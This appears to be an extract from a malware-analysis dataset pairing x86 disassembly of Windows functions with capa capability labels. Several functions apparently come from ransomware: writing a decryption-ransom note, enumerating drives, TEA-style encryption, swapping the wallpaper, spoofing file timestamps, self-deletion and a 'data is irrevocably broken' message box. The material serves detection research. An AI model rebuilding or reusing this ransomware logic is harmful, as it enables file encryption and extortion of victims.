joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4405c2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov dword [ecx + 0x9c], edi
cmp dword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
mov ebx, 0x4571e4
je 0x44067e
push esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebx]
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x440666
mov esi, dword [ebx + 4]
jmp 0x440660
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x440650
cmp dword [ebp - 0xc], 4
jne 0x440650
cmp dword [ebp - 8], edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 4]
je 0x440648
or dword [eax + 0x9c], ecx
jmp 0x440650
not ecx
and dword [eax + 0x9c], ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
add esi, 8
mov eax, dword [esi]
cmp eax, edi
jne 0x440614
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 8
cmp dword [ebx], edi
mov dword [ebp - 4], edi
jne 0x4405f7
pop esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop ebx
leave
ret

Function at 0x440a6c
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, 0x444d1e
call fcn.0042b36c
sub esp, 0x11c
mov eax, dword [0x458190]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x124]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x440b65
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, eax
test esi, esi
jne 0x440b39
and dword [ebp - 4], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x120]
call fcn.00402020
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
mov byte [ebp - 4], 1
call fcn.00440a6c
mov ecx, dword [ebp - 0x120]
mov esi, eax
test esi, esi
setne bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.00401880
test bl, bl
jne 0x440b39
or dword [ebp - 4], 0xffffffff
jmp 0x440aaa
cmp esi, 0x103
je 0x440b49
cmp esi, 0x3f2
jne 0x440b59
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.00429d61
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x441d95
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x441dca
cmp edi, dword [esi + 0xc]
jge 0x441dca
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x441dca
cmp edi, dword [eax + 8]
jge 0x441dca
mov eax, dword [eax + 0xc]
mov edi, dword [eax + edi*4]
jmp 0x441dcc
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x441ed0
Capabilities:
Allocate thread local storage

Disassembly:
xor eax, eax
push esi
mov esi, ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x18], 4
mov dword [esi + 4], eax
mov dword [esi + 8], 1
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x441f04
jmp fcn.00437056
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
ret

Function at 0x441f75
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c]
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
jle 0x44206e
cmp eax, dword [edi + 0xc]
jge 0x44206e
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
je 0x441fc6
mov ecx, dword [ebp + 8]
cmp ecx, dword [esi + 8]
jl 0x442057
cmp dword [ebp + 0xc], ebx
je 0x442057
jmp 0x441ff0
push 0x10
call fcn.00441c61
cmp eax, ebx
je 0x441fdc
mov ecx, eax
call fcn.00441ec7
mov esi, eax
jmp 0x441fde
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
mov dword [edi + 0x14], esi
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x442007
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x442017
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
cmp eax, ebx
jne 0x442029
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.00437056
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov edx, dword [edi + 0xc]
sub edx, ecx
shl edx, 2
push edx
lea eax, [eax + ecx*4]
push ebx
push eax
call fcn.0042b790
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x442069
cmp ecx, dword [esi + 8]
jge 0x442069
mov edx, dword [ebp + 0xc]
mov dword [eax + ecx*4], edx
push dword [ebp - 4]
jmp 0x44206f
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x44212d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x44215b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x442179
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00442097
jmp 0x442179
mov eax, dword [esi + 0x14]
test eax, eax
je 0x442179
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00442097
test edi, edi
mov eax, edi
jne 0x442163
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x56c32c]
test ecx, ecx
je 0x44222c
jmp 0x44212c
ret 8
Function at 0x40103a
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push 0x407019
call sub.KERNEL32.DLL_lstrcpyA
push 0x407019
call sub.shlwapi.dll_PathAddBackslashA
movzx eax, byte [0x40752d]
cmp eax, 1
jne 0x401071
push 0x404043
push 0x407019
call sub.KERNEL32.DLL_lstrcatA
jmp 0x401080
push str.HOW_TO_DECRYPT_FILES.txt
push 0x407019
call sub.KERNEL32.DLL_lstrcatA
push 0x407019
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
je 0x401091
jmp 0x4010f8
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push 0x407019
call sub.KERNEL32.DLL_CreateFileA
mov dword [0x406551], eax
push dword [0x40751d]
call sub.KERNEL32.DLL_lstrlenA
push 0
push 0x406561
push eax
push dword [0x40751d]
push dword [0x406551]
call sub.KERNEL32.DLL_WriteFile
push 0x407556
push 0x40754e
push 0x407546
push dword [0x406551]
call sub.KERNEL32.DLL_SetFileTime
push dword [0x406551]
call sub.KERNEL32.DLL_CloseHandle
leave
ret 4

Function at 0x4010fc
Capabilities:
Change the wallpaper
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov ecx, 0x10
mov edi, 0x406df9
push ecx
push edi
rdtsc
pop edi
pop ecx
and eax, 0xf0
shr eax, 4
add eax, 0x61
stosb byte es:[edi], al
loop 0x40110c
xor eax, eax
stosb byte es:[edi], al
push str..bmp
push 0x406df9
call sub.KERNEL32.DLL_lstrcatA
push 0x406e19
push 0x200
call sub.KERNEL32.DLL_GetTempPathA
push 0x406df9
push 0x406e19
call sub.KERNEL32.DLL_lstrcatA
push 2
push str.pussylicker
push 0
call sub.KERNEL32.DLL_FindResourceA
or eax, eax
jne 0x401164
leave
ret
mov dword [ebp - 0x10], eax
push eax
push 0
call sub.KERNEL32.DLL_SizeofResource
or eax, eax
jne 0x401175
leave
ret
mov dword [ebp - 0xc], eax
push dword [ebp - 0x10]
push 0
call sub.KERNEL32.DLL_LoadResource
or eax, eax
jne 0x401188
leave
ret
mov dword [ebp - 8], eax
push eax
call sub.KERNEL32.DLL_LockResource
or eax, eax
jne 0x401197
leave
ret
mov dword [ebp - 4], eax
mov ebx, eax
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push 0x406e19
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
je 0x40120c
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push ebx
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_WriteFile
push 0x407556
push 0x40754e
push 0x407546
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_SetFileTime
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_CloseHandle
push 3
push 0x406e19
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
push dword [ebp - 8]
call sub.KERNEL32.DLL_FreeResource
leave
ret
Function at 0x40124f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x401272
mov edi, 0x406db9
rdtsc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, 0x406595
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x404041
push 0x405050
call sub.KERNEL32.DLL_lstrcpyA
push 0x404032
push 0x405050
call sub.KERNEL32.DLL_lstrcatA
push dword [0x407521]
push 0x405050
call sub.KERNEL32.DLL_lstrcatA
mov eax, dword [ebp - 4]
cmp eax, 0xffffffff
jne 0x4012b1
mov byte [0x406550], 2
jmp 0x4012b8
mov byte [0x406550], 1
push 1
call sub.KERNEL32.DLL_SetErrorMode
call sub.KERNEL32.DLL_GetLogicalDrives
mov ecx, 0x19
mov ebx, 1
shl ebx, cl
and ebx, eax
je 0x401301
add cl, 0x41
mov byte [0x404450], cl
sub cl, 0x41
mov dword [0x404451], 0x2e2a5c3a
mov byte [0x404455], 0x2a
mov byte [0x404456], 0
push eax
push ecx
call fcn.004013a8
pop ecx
pop eax
dec ecx
jge 0x4012c9
mov eax, dword [ebp - 4]
or eax, eax
jne 0x40133e
cmp byte [0x40752d], 1
jne 0x401329
push 0x40
push 0x4043f3
push 0x404077
push 0
call sub.user32.dll_MessageBoxA
jmp 0x401374
push 0x40
push str.Attention_
push 0x404077
push 0
call sub.user32.dll_MessageBoxA
jmp 0x401374
cmp eax, 0xffffffff
jne 0x401374
cmp byte [0x40752d], 1
jne 0x401361
push 0x40
push 0x4043f3
push 0x4041ab
push 0
call sub.user32.dll_MessageBoxA
jmp 0x401374
push 0x40
push str.Attention_
push str.You_have_reached_a_limit_of_attempts___your_data_is_irrevocably_broken.
push 0
call sub.user32.dll_MessageBoxA
pop ebx
leave
ret
Function at 0x4017ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, dword [ebp + 8]
mov eax, dword [esi]
mov edx, dword [esi + 4]
xor ebx, ebx
bswap eax
bswap edx
add ebx, 0x9e3779b9
mov ecx, edx
shl ecx, 4
mov edi, edx
lea esi, [ebx + edx]
add ecx, dword [0x406585]
shr edi, 5
xor ecx, esi
add edi, dword [0x406589]
xor ecx, edi
add eax, ecx
mov ecx, eax
shl ecx, 4
mov edi, eax
lea esi, [ebx + eax]
add ecx, dword [0x40658d]
shr edi, 5
xor ecx, esi
add edi, dword [0x406591]
xor ecx, edi
add edx, ecx
add ebx, 0x9e3779b9
mov ecx, edx
shl ecx, 4
mov edi, edx
lea esi, [ebx + edx]
add ecx, dword [0x406585]
shr edi, 5
xor ecx, esi
add edi, dword [0x406589]
xor ecx, edi
add eax, ecx
mov ecx, eax
shl ecx, 4
mov edi, eax
lea esi, [ebx + eax]
add ecx, dword [0x40658d]
shr edi, 5
xor ecx, esi
add edi, dword [0x406591]
xor ecx, edi
add edx, ecx
mov ecx, 0x9e3779b9
imul ecx, dword [0x4065a5]
cmp ebx, ecx
jne 0x401800
bswap eax
bswap edx
mov esi, dword [ebp + 0xc]
mov dword [esi], eax
mov dword [esi + 4], edx
pop ebx
pop esi
pop edi
leave
ret 8

Function at 0x4018b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, dword [ebp + 8]
mov eax, dword [esi]
mov edx, dword [esi + 4]
mov ebx, 0x9e3779b9
imul ebx, dword [0x4065a5]
bswap eax
bswap edx
mov ecx, eax
shl ecx, 4
mov edi, eax
lea esi, [ebx + eax]
add ecx, dword [0x40658d]
shr edi, 5
xor ecx, esi
add edi, dword [0x406591]
xor ecx, edi
sub edx, ecx
mov ecx, edx
shl ecx, 4
mov edi, edx
lea esi, [ebx + edx]
add ecx, dword [0x406585]
shr edi, 5
xor ecx, esi
add edi, dword [0x406589]
xor ecx, edi
sub eax, ecx
sub ebx, 0x9e3779b9
mov ecx, eax
shl ecx, 4
mov edi, eax
lea esi, [ebx + eax]
add ecx, dword [0x40658d]
shr edi, 5
xor ecx, esi
add edi, dword [0x406591]
xor ecx, edi
sub edx, ecx
mov ecx, edx
shl ecx, 4
mov edi, edx
lea esi, [ebx + edx]
add ecx, dword [0x406585]
shr edi, 5
xor ecx, esi
add edi, dword [0x406589]
xor ecx, edi
sub eax, ecx
sub ebx, 0x9e3779b9
jne 0x4018ce
bswap eax
bswap edx
mov esi, dword [ebp + 0xc]
mov dword [esi], eax
mov dword [esi + 4], edx
pop ebx
pop esi
pop edi
leave
ret 8

Function at 0x401f15
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
cmp eax, 0
jle 0x401f83
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 4]
call sub.advapi32.dll_CryptCreateHash
cmp eax, 0
jle 0x401f83
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
call sub.advapi32.dll_CryptHashData
push 0
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
push 2
push dword [ebp - 8]
call sub.advapi32.dll_CryptGetHashParam
push dword [ebp - 8]
call sub.advapi32.dll_CryptDestroyHash
push 0
push dword [ebp - 4]
call sub.advapi32.dll_CryptReleaseContext
leave
ret 0x10
Function at 0x401f87
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push 2
push 0xe
push 0
call sub.KERNEL32.DLL_FindResourceA
or eax, eax
jne 0x401fa2
jmp 0x402330
mov dword [ebp - 0x10], eax
push eax
push 0
call sub.KERNEL32.DLL_SizeofResource
or eax, eax
jne 0x401fb6
jmp 0x402330
mov dword [ebp - 0xc], eax
push dword [ebp - 0x10]
push 0
call sub.KERNEL32.DLL_LoadResource
or eax, eax
jne 0x401fcc
jmp 0x402330
mov dword [ebp - 8], eax
push eax
call sub.KERNEL32.DLL_LockResource
or eax, eax
jne 0x401fde
jmp 0x402330
mov dword [ebp - 4], eax
mov edi, eax
push 0x10
push edi
push 0x406db9
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, 0x10
mov eax, dword [ebp - 0xc]
sub eax, 0x10
push eax
push edi
call fcn.0040211b
mov ebx, dword [edi]
add edi, 4
push ebx
push 8
push dword [0x4065b5]
call sub.KERNEL32.DLL_HeapAlloc
or eax, eax
jne 0x40201c
jmp 0x402330
mov dword [0x407519], eax
push ebx
push edi
push dword [0x407519]
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, ebx
mov ebx, dword [edi]
add edi, 4
push ebx
push 8
push dword [0x4065b5]
call sub.KERNEL32.DLL_HeapAlloc
or eax, eax
jne 0x40204c
jmp 0x402330
mov dword [0x40751d], eax
push ebx
push edi
push dword [0x40751d]
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, ebx
mov ebx, dword [edi]
add edi, 4
push ebx
push 8
push dword [0x4065b5]
call sub.KERNEL32.DLL_HeapAlloc
or eax, eax
jne 0x40207c
jmp 0x402330
mov dword [0x407521], eax
push ebx
push edi
push dword [0x407521]
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, ebx
push 0x10
push edi
push 0x406dc9
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, 0x10
push 5
push edi
push 0x407529
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, 5
push 0x10
push edi
push 0x406dd9
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, 0x10
push 0x10
push edi
push 0x406de9
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, 0x10
push 4
push edi
push 0x407525
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, 4
push 4
push edi
push 0x4065a5
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, 4
push 4
push edi
push 0x4065a9
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, 4
push 4
push edi
push 0x4065ad
call sub.KERNEL32.DLL_RtlMoveMemory
add edi, 4
push dword [ebp - 8]
call sub.KERNEL32.DLL_FreeResource
pop ebx
leave
ret

Function at 0x40214b
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
jmp 0x402167
push 0x200
push 0x4066b9
push 0x40214d
call sub.KERNEL32.DLL_GetEnvironmentVariableA
push 0x402155
push 0x4068b9
call sub.KERNEL32.DLL_lstrcpyA
push 0x405450
push 0x4068b9
call sub.KERNEL32.DLL_lstrcatA
push 0x40215e
push 0x4068b9
call sub.KERNEL32.DLL_lstrcatA
push 0
push 0
push 0x4068b9
push 0x4066b9
push 0
push 0
call sub.shell32.dll_ShellExecuteA
ret
Function at 0x402422
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x2001f
push 0
push str.REG_SZ
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegCreateKeyExA
push dword [ebp + 0x14]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 8]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10

Function at 0x402472
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0x200
push 0x40755e
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x40755e
call sub.shlwapi.dll_PathAddBackslashA
push str.explorer.exe
push 0x40755e
call sub.KERNEL32.DLL_lstrcatA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push 0x40755e
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 4], eax
push 0x407556
push 0x40754e
push 0x407546
push dword [ebp - 4]
call sub.KERNEL32.DLL_GetFileTime
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
leave
ret
Function at 0x4043d0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
xor eax, eax
cmp dword [esp + 0x24], 0
je 0x4044c0
mov ebx, dword [esp + 0x28]
test ebx, ebx
je 0x4044c0
mov ebp, dword [esp + 0x2c]
test ebp, ebp
je 0x40441a
mov ecx, 0x1505
xor edi, edi
nop
movzx edx, byte [ebx + edi]
test edx, edx
je 0x404421
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc edi
mov ecx, esi
cmp ebp, edi
jne 0x404400
jmp 0x404423
mov esi, 0x1505
jmp 0x404423
mov esi, ecx
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx + 0x20]
lea ebx, [edx - 1]
mov dword [esp + 8], edx
sub edx, 1
mov dword [esp + 0xc], edx
jb 0x4044c0
and ebx, esi
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
xor edi, edi
mov edx, ebx
mov dword [esp], ebx
jmp 0x404461
mov eax, edi
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
cmp edi, dword [esp + 8]
jae 0x4044be
lea eax, [edi + edx]
and eax, dword [esp + 0xc]
mov ebx, dword [esp + 4]
mov ebp, dword [ebx + eax*4]
cmp ebp, 0xffffffff
je 0x4044be
mov eax, dword [ecx + 8]
cmp dword [eax + ebp*4], esi
jne 0x404450
mov eax, dword [ecx + 0xc]
mov ebx, dword [eax + ebp*4]
push ebx
call fcn.0040c720
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp + 0x2c]
jne 0x404450
push dword [esp + 0x2c]
push ebx
push dword [esp + 0x30]
call fcn.0040c740
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x404450
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + ebp*4]
jmp 0x4044c0
xor eax, eax
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4047f0
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40490f
mov ecx, dword [eax + 4]
cmp ecx, 2
je 0x404903
cmp ecx, 5
je 0x4048d3
cmp ecx, 4
jne 0x40490f
mov esi, dword [eax + 8]
cmp dword [esi + 0x18], 0
je 0x40485d
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0xc]
push dword [eax + edi*4]
call dword [0x44f004]
add esp, 4
mov eax, dword [esi + 0x10]
push dword [eax + edi*4]
call fcn.004047f0
add esp, 4
mov eax, edi
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
cmp edi, dword [esi + 0x18]
jb 0x404830
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
push dword [esi + 4]
call dword [0x44f004]
add esp, 4
push dword [esi + 0xc]
call dword [0x44f004]
add esp, 4
push dword [esi + 0x10]
call dword [0x44f004]
add esp, 4
push dword [esi + 0x14]
call dword [0x44f004]
add esp, 4
push dword [esi + 8]
call dword [0x44f004]
add esp, 4
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
jmp 0x404900
mov esi, dword [eax + 8]
cmp dword [esi + 8], 0
je 0x4048f4
xor edi, edi
nop
nop
mov eax, dword [esi + 4]
push dword [eax + edi*4]
call fcn.004047f0
add esp, 4
inc edi
cmp edi, dword [esi + 8]
jb 0x4048e0
push dword [esi + 4]
call dword [0x44f004]
add esp, 4
push esi
jmp 0x404906
push dword [eax + 8]
call dword [0x44f004]
add esp, 4
pop esi
pop edi
jmp dword [0x44f004]
Function at 0x4056d0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, 0xffffffff
cmp dword [esp + 0x2c], 0
je 0x4058c4
mov esi, dword [esp + 0x30]
test esi, esi
je 0x4058c4
mov ecx, dword [esp + 0x34]
test ecx, ecx
je 0x4058c4
cmp dword [ecx], 0
jne 0x4058c4
push esi
call fcn.0040c720
add esp, 4
test eax, eax
je 0x40573a
mov ecx, 0x1505
xor ebx, ebx
nop
nop
nop
nop
movzx edx, byte [esi + ebx]
test edx, edx
je 0x405741
mov edi, ecx
shl edi, 5
add edi, ecx
add edi, edx
inc ebx
mov ecx, edi
cmp eax, ebx
jne 0x405720
jmp 0x405743
mov edi, 0x1505
jmp 0x405743
mov edi, ecx
mov ecx, dword [esp + 0x2c]
mov edx, dword [ecx + 0x20]
lea ebx, [edx - 1]
mov dword [esp + 0xc], edx
sub edx, 1
mov dword [esp + 0x10], edx
jae 0x405816
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x4057a3
call fcn.004059b0
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov esi, dword [esp + 0x30]
jne 0x4058c4
push esi
call fcn.0040c720
add esp, 4
mov edx, esi
lea esi, [esp + 0x14]
mov ecx, dword [esp + 0x2c]
push esi
push edi
push eax
call fcn.004058d0
add esp, 0xc
mov ebp, eax
mov esi, dword [esp + 0x30]
push esi
call fcn.0040c720
add esp, 4
mov ebx, eax
inc eax
push eax
call dword [0x44f008]
add esp, 4
test eax, eax
je 0x4058bf
mov byte [eax + ebx], 0
push ebx
push esi
push eax
mov esi, eax
call fcn.0040c640
add esp, 0xc
mov edx, dword [esp + 0x2c]
mov eax, dword [edx + 0xc]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 4]
mov ecx, dword [edx + 0x18]
mov dword [eax + ebp*4], ecx
mov eax, dword [edx + 0x10]
mov esi, dword [esp + 0x34]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], ebp
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], edi
inc dword [edx + 0x18]
mov eax, dword [edx]
mov dword [esi], eax
xor eax, eax
jmp 0x4058c4
mov dword [esp + 4], eax
and ebx, edi
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
xor esi, esi
mov edx, ebx
mov dword [esp], ebx
jmp 0x405845
mov eax, esi
and eax, 1
xor esi, 1
lea esi, [esi + eax*2]
cmp esi, dword [esp + 0xc]
jae 0x40575e
lea ebp, [esi + edx]
and ebp, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov ebx, dword [eax + ebp*4]
cmp ebx, 0xffffffff
je 0x405763
mov eax, dword [ecx + 8]
cmp dword [eax + ebx*4], edi
jne 0x405830
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + ebx*4]
push ebp
call fcn.0040c720
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0x30]
add esp, 4
cmp eax, dword [esp + 4]
jne 0x405830
push dword [esp + 4]
push ebp
push dword [esp + 0x38]
call fcn.0040c740
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x38]
add esp, 0xc
test eax, eax
jne 0x405830
mov eax, dword [ecx + 0x10]
push dword [eax + ebx*4]
call fcn.004047f0
mov edx, dword [esp + 0x30]
add esp, 4
mov eax, dword [edx + 0x10]
mov esi, dword [esp + 0x34]
mov dword [eax + ebx*4], esi
jmp 0x40580b
mov eax, 0xffffffff
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret